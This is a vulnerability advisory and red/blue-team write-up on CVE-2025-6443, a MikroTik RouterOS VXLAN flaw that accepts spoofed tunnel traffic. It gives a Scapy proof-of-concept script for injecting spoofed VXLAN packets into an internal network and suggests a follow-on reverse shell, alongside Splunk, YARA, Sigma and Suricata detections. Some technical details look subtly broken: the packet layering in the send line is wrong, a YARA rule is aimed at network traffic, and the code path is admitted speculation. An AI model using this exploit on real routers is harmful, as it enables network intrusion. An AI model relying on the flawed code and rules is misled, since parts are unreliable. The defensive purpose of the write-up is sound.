CVE-2025-6443

Executive Summary

CVE-2025-6443 is a critical vulnerability in MikroTik RouterOS affecting the VXLAN (Virtual Extensible LAN) implementation. The flaw allows remote, unauthenticated attackers to bypass access controls by sending crafted VXLAN packets with spoofed source IP addresses. Because the router does not validate the remote IP address against configured VXLAN tunnel endpoints, an attacker can inject traffic into the internal network as if it originated from a trusted VXLAN peer. This can lead to unauthorized access to internal resources, lateral movement, and data exfiltration. The vulnerability has a CVSS score of 7.2 (High) and currently has no known patch or public exploit code.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the router itself.
• Confidentiality (C): High – Potential access to internal network data.
• Integrity (I): High – Potential to inject or modify traffic.
• Availability (A): None – No direct impact on availability.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and the lack of a patch increases risk. Attackers can bypass network segmentation and gain access to internal resources.

Deep Dive & Mechanics

The vulnerability resides in the VXLAN packet processing logic of MikroTik RouterOS. VXLAN is a network virtualization technology that encapsulates Layer 2 frames over UDP (port 4789). In a typical deployment, VXLAN tunnel endpoints (VTEPs) are configured with the IP addresses of trusted peers. The router should only accept VXLAN packets from those configured source IPs.

The Flaw: The router fails to validate the source IP address of incoming VXLAN packets against the configured list of allowed remote endpoints. Instead, it processes any VXLAN packet that arrives on the UDP port, regardless of its source IP. This allows an attacker to send a VXLAN packet with a spoofed source IP (e.g., mimicking a trusted VTEP) and have the router decapsulate and forward the inner Ethernet frame into the internal network.

Attack Flow:

1. Attacker identifies a MikroTik router with VXLAN enabled (e.g., via Shodan).
2. Attacker crafts a VXLAN packet with:
   • Source IP: Spoofed to match a trusted VTEP IP.
   • Destination IP: The target router's IP.
   • UDP destination port: 4789.
   • VXLAN header with a valid VNI (VXLAN Network Identifier).
   • Inner Ethernet frame: Contains malicious payload (e.g., ARP spoof, DNS query, or direct connection to internal host).
3. Router receives the packet, does not validate the source IP, decapsulates the VXLAN frame, and forwards the inner frame to the internal network.
4. Attacker gains access to internal resources, potentially bypassing firewalls and ACLs.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code path is speculative. The fix would involve adding a source IP validation check before processing VXLAN packets.

Vulnerable (pseudocode):

void process_vxlan_packet(packet *p) {
    // No source IP validation
    if (p->udp_dst_port == 4789) {
        decapsulate_and_forward(p);
    }
}

Patched (pseudocode):

void process_vxlan_packet(packet *p) {
    if (p->udp_dst_port == 4789) {
        // Validate source IP against configured VTEP list
        if (is_trusted_vtep(p->src_ip)) {
            decapsulate_and_forward(p);
        } else {
            drop_packet(p);
        }
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• Attacker machine: Kali Linux (192.168.1.100)
• Target router: MikroTik RouterOS with VXLAN enabled (10.0.0.1)
• Internal victim: Windows host (10.0.1.10)
• Trusted VTEP IP (spoofed): 10.0.0.2

Exploitation Steps:

1. Craft VXLAN packet using Scapy:

from scapy.all import *

# Spoofed source IP (trusted VTEP)
src_ip = "10.0.0.2"
dst_ip = "10.0.0.1"

# Inner Ethernet frame (e.g., ARP request to internal host)
inner_eth = Ether(dst="ff:ff:ff:ff:ff:ff", src="00:11:22:33:44:55")
inner_arp = ARP(psrc="10.0.1.1", pdst="10.0.1.10", hwsrc="00:11:22:33:44:55")

# VXLAN header (VNI 100)
vxlan = IP(src=src_ip, dst=dst_ip)/UDP(sport=4789, dport=4789)/VXLAN(vni=100)

# Send packet
sendp(Ether()/IP()/vxlan/inner_eth/inner_arp, iface="eth0")

2. Verify access by sniffing for responses or using a reverse shell.

Blue Team (Defender)

Detection & Response:

• Monitor for VXLAN traffic (UDP port 4789) from unexpected source IPs.
• Enable logging on the router for VXLAN packet drops (if patched).
• Use network segmentation to limit VXLAN exposure.
• Deploy IDS/IPS rules to detect spoofed VXLAN packets.

Hunting Query (Splunk):

index=network sourcetype=netflow
  dest_port=4789
  | stats count by src_ip, dest_ip
  | where src_ip NOT IN [list of trusted VTEPs]

Indicators of Compromise (IOCs)

• Network IOCs:
  • UDP packets on port 4789 from unexpected source IPs.
  • VXLAN packets with VNI values not used in the environment.
  • Spoofed source IPs matching known VTEP addresses.
• Host IOCs:
  • Unusual ARP or DNS traffic from the router's internal interface.
  • New connections from the router to internal hosts on unusual ports.
• Log IOCs:
  • Router logs showing VXLAN decapsulation events without corresponding source IP validation.

Detection Engineering

YARA Rule

rule CVE_2025_6443_VXLAN_Spoof {
    meta:
        description = "Detects VXLAN packets with potential source IP spoofing"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-6443"
    strings:
        $vxlan_header = { 08 00 00 00 }  // VXLAN header with VNI (example)
        $udp_port_4789 = { 12 B5 }       // UDP port 4789 in network byte order
    condition:
        $udp_port_4789 and $vxlan_header
}

Sigma Rule

title: Detection of VXLAN Traffic from Untrusted Sources
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects VXLAN packets (UDP port 4789) from IPs not in the trusted VTEP list.
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 4789
    filter:
        src_ip:
            - 10.0.0.2  # Example trusted VTEP
            - 10.0.0.3
    condition: selection and not filter
falsepositives:
    - Legitimate VXLAN traffic from new VTEPs
level: high

Suricata Rule

alert udp any any -> any 4789 (msg:"CVE-2025-6443 - VXLAN Source IP Spoofing Attempt"; content:"|08 00 00 00|"; depth:4; offset:8; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable VXLAN on the router if not required.
2. Restrict access to UDP port 4789 using firewall rules (allow only trusted VTEP IPs).
3. Monitor logs for anomalous VXLAN traffic.

Long-Term Fix:

• Apply a firmware patch from MikroTik when available.
• Implement network segmentation to isolate VXLAN traffic.
• Use IPsec or MACsec to authenticate VXLAN endpoints.

Workaround:

• Configure ACLs on upstream routers to drop VXLAN packets from untrusted sources.

Valters IT